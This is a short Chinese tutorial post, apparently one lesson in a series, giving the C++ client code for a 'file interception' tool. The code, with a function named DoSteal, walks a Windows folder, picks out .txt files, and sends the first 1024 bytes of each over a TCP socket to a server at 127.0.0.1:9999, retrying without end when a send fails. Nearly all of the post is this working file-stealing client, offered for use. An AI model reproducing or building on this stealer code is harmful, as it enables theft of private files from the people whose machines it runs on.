10-文件截取:客户端代码

文件截取:客户端代码

在文件截取中创建TCPsocket,连接上服务器,将得到的文件路径打开文件,将内容导入到缓冲区,通过socket发送到服务器即可。

#include<iostream>
#include<Windows.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
bool initsocket() //封装初始化网络库的函数
{
WORD wVersionRequested;
WSADATA wsadata;
int err;
wVersionRequested = MAKEWORD(2, 2);

err = WSAStartup(wVersionRequested, &wsadata);
if (err)
{
printf("WSAStartup errnum: %d\n", GetLastError());
return false;
}

if (LOBYTE(wsadata.wVersion) != 2 || HIBYTE(wsadata.wVersion) != 2)
{
printf("LOBYTE errnum: %d\n", GetLastError());
WSACleanup();
return false;
}
return true;
}


bool sendToServer(const char* path)
{
if (!initsocket())
return false;

FILE* fp = fopen(path, "rb");
if (fp == NULL)
return false;
char sendBuf[1024] = { 0 };
int len = fread(sendBuf, 1, 1024, fp);
fclose(fp);

SOCKET sockCli;
sockCli = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(9999);


if (SOCKET_ERROR == connect(sockCli, (sockaddr*)&addrSrv, sizeof(sockaddr)))
{
printf("%d", GetLastError());
return false;
}

int iLen = send(sockCli, sendBuf, 1024, 0);
closesocket(sockCli);
WSACleanup();
return true;
}
int DoSteal(const char* szPath)
{
//1 遍历路径下所有文件夹
WIN32_FIND_DATA file_for_find; //文件数据
HANDLE hListFile; //用句柄来标志文件

char szFilePath[MAX_PATH] = { 0 };
strcpy(szFilePath, szPath);
strcat(szFilePath, "\\*");
//找到第一个文件
hListFile = FindFirstFile(szFilePath, &file_for_find);
//循环遍历所有文件
do {
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, szPath);
strcat(mypath, file_for_find.cFileName);
if(strstr(mypath,".txt"))
while (sendToServer(mypath)==false);
} while (FindNextFile(hListFile, &file_for_find));

return 0;
}
int main()
{
DoSteal("D:\\文件合集\\txt合集\\");
return 0;
}